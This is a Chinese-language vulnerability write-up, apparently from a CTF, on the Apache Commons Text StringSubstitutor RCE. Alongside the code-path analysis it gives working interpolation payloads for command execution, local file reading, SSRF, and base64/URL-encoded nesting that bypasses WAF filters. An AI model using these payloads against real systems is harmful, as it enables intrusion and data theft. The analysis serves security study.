Apache Commons Text RCE 漏洞分析

打 rwctf 体验赛遇到的, 顺带写一下

总体感觉跟 log4j2 jndi 注入的利用方式很像, 毕竟都是 apache 的库

The Commons Text library provides additions to the standard JDK’s text handling. Our goal is to provide a consistent set of tools for processing text generally from computing distances between Strings to being able to efficiently do String escaping of various type

官方文档: https://commons.apache.org/proper/commons-text/userguide.html

影响版本: 1.5.0 - 1.9

添加依赖

1
2
3
4
5
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-text</artifactId>
    <version>1.9</version>
</dependency>

demo

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
package com.example;

import org.apache.commons.text.StringSubstitutor;

public class Demo {
    public static void main(String[] args) throws Exception{
        StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
        String code = "${script:js:java.lang.Runtime.getRuntime().exec(\"calc\")}";
        String res = interpolator.replace(code);
        System.out.println(res);
    }
}

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202301071330605.png

interpolator.replace(code) 处打个断点开始调试

首先进入 StringSubstitutor#replace

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202301071331766.png

跟进 substitute 方法

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202301071332180.png

prefixMatcher 和 suffixMacher 分别为 ${}, 用于标记插值表达式

valueDelimMatcher 的值为 :-, 这里我一开始以为它能够跟 log4j2 一样通过 ${a:-j}ndi 来拼接关键词, 但后来发现实际上并不支持这种使用方式, 一时半会也没想出来怎么去利用…

后面是一堆循环和 if 来解析表达式

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202301071452066.png

然后会来到 this.resolveVariable 这个方法

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202301071454945.png

这里有一个 stringLookupMap, 里面对应了很多 lookup class, 后续利用也都是从这些 class 来入手

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202301071459485.png

默认的 InterpolatorStringLookup 会截取 prefix, 然后从 stringLookupMap 中取得对应的 lookup class 并调用其 lookup 方法

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202301071500325.png

ScriptStringLookup 会截取 engineName 和 script, 然后创建对应的 ScriptEngine

在 return 的时候会调用 scriptEngine.eval(script) 从而造成任意代码执行

官方文档中给出的几种 lookup 方式

https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/StringSubstitutor.html

https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/lookup/StringLookupFactory.html https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202301071446141.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202301071507233.png

基本所有的利用方法都已经在这篇文章里面给出了, 总结的很全

https://forum.butian.net/share/1973

下面就举出几个常用的 lookup class 来分析一下

很简单的利用 ScriptEngineManager 来执行命令, 上面已经分析过了

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202301071524699.png

常规的弹计算器

1
${script:js:java.lang.Runtime.getRuntime().exec("calc")}

结合 Scanner 或者 BufferedReader 实现回显

1
2
3
${script:js:new java.io.BufferedReader(new java.io.InputStreamReader(new java.lang.ProcessBuilder("whoami").start().getInputStream(), "GBK")).readLine()} // 只能读取一行

${script:js:new java.util.Scanner(new java.lang.ProcessBuilder("ipconfig").start().getInputStream(), "GBK").useDelimiter("xzxzxz").next()}

注意类名要写全 (包括 java.lang)

ResourceBundle 的利用方式最初是在浅蓝师傅的这篇文章中学到的

https://mp.weixin.qq.com/s/vAE89A5wKrc-YnvTr0qaNg

利用它可以读取 classpath 下的 .properties 配置文件, 无需知道绝对路径

一个很经典的例子就是 springboot 的 application.properties 文件

1
${resourcebundle:application:user.name}

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202301071531064.png

读取文件

需要指定 charsetname

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202301071536990.png

1
${file:utf-8:d:/test.txt}

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202301071537153.png

发起 url 请求

同样需要指定 charsetname

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202301071538383.png

可以利用 http 和 file 协议, 造成 ssrf 或者读取本地文件

1
2
3
${url:utf-8:http://127.0.0.1:8000/}

${url:utf-8:file:///d:/test.txt}

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202301071540923.png

主要利用 urlDecoder 和 base64Decoder

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202301071546705.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202301071547638.png

原因在于 StringSubstitutor#substitute 支持递归解析

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202301071550727.png

所以可以利用编码 + 嵌套的方式来绕过某些 waf 对 prefix 的检测

base64Decoder

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
package com.example;

import org.apache.commons.text.StringSubstitutor;

import java.util.Base64;

public class Demo {
    public static void main(String[] args) throws Exception{
        StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
        String code = "${script:js:java.lang.Runtime.getRuntime().exec(\"calc\")}";
        String poc = "${base64Decoder:" + Base64.getEncoder().encodeToString(code.getBytes()) + "}";
        String res = interpolator.replace(poc);
        System.out.println(res);
    }
}
1
${base64Decoder:JHtzY3JpcHQ6anM6amF2YS5sYW5nLlJ1bnRpbWUuZ2V0UnVudGltZSgpLmV4ZWMoImNhbGMiKX0=}

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202301071552001.png

urlDecoder

1
${urlDecoder:%24%7b%73%63%72%69%70%74%3a%6a%73%3a%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%61%6c%63%22%29%7d}

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202301071556427.png

当然多套几层也是可以的

https://paper.seebug.org/2025/

https://paper.seebug.org/1993/

https://forum.butian.net/share/1973

https://blog.csdn.net/qq_34101364/article/details/127338170